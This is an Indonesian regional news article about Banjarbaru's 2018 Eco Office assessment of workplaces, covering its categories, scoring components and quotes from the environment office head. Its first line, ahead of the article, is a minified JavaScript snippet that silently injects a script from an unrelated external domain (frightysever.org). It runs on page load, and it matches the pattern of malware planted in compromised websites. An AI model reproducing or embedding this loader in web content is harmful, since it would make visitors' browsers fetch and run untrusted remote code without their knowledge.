(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Dinas Lingkungan Hidup (DLH) Kota Banjarbaru kembali melaksanakan kegiatan penilaian Eco Office (kantor berwawasan lingkungan) 2018 pada 7-11 Mei.
Upaya menciptakan ruang kerja yang bersih dan sehat sekaligus menjadikan kantor sebagai tempat yang nyaman untuk beraktivitas. Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup Kota Banjarbaru bersama Tim Terkait lintas SKPD melaksanakan penilaian Eco Office (Kantor Berwawasan Lingkungan). Eco-Office ini dijalankan pada setiap instansi tak terkecuali sekolah.
Sekolah sebagai sebuah agen perubahan tentunya dapat mengaplikasikan model ini sebagai bagian dari perwujudan pembangunan berwawasan lingkungan. Kantor bukan hanya lagi sebagai tempat kerja namun sebagai taman dan tempat relaksasi.
“Kita harus yakin bahwa sekarang ini manusia harus mulai merubah sedikit gaya hidupnya agar kembali selaras dengan lingkungan. Dengan membangun Eco Office diharapkan setiap karyawan nantinya dapat belajar kembali menghargai lingkungan mulai dari tempat kerjanya dan karakter tersebut akan terbawa hingga ke luar tempat kerja,†ujar Kepala Dinas Lingkungan Hidup Banjarbaru Drs Gusriansyah.
Adapun kategori dalam penilaian kantor berwawasan lingkungan ini terdiri dari kantor kecamatan dan kelurahan, kantor bergabung, kantor berpisah, kantor sarana kesehatan, perhotelan, BUMN/BUMD. Ada 10 komponen utama yang menjadi dasar penilaian yaitu lingkungan luar kantor (sampah, tempat sampah dan drainase). Ruang Terbuka Hijau (pohon peneduh sebaran, pohon peneduh fungsi, dan penghijauan). Lingkungan Dalam Kantor (sampah, tempat sampah, tanaman hias /pot kembang, penataan ruangan, penataan buku dan arsip). Kondisi fisik gedung. TPS (bangunan fisik dan sampah). Toilet/WC (bau, kebersihan dan air bersih). Musholla (kebersihan, tempat wudhu dan kelengkapan sholat.) Gudang (kebersihan dan kerapian). Dapur/pantry (kebersihan dan tempat sampah) dan tempat parkir.
“Kita ingin mewujudkan kota yang bersih, hijau, sehat dan hemat energi yang nyaman bagi masyarakatnya serta mengurangi emisi gas rumah kaca, terutama yang berasal dari kegiatan di dalam bangunan gedung,†tambah Gusriansyah.
Kegiatan penilaian Eco Office Award tahun 2018 sebagai langkah untuk meningkatkan kepedulian warga Kota Banjarbaru khususnya karyawan dan karyawati dalam menerapkan konsep kantor berwawasan lingkungan dan mendukung kebijakan Pemkot Banjarbaru. (devi)
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More
This website uses cookies.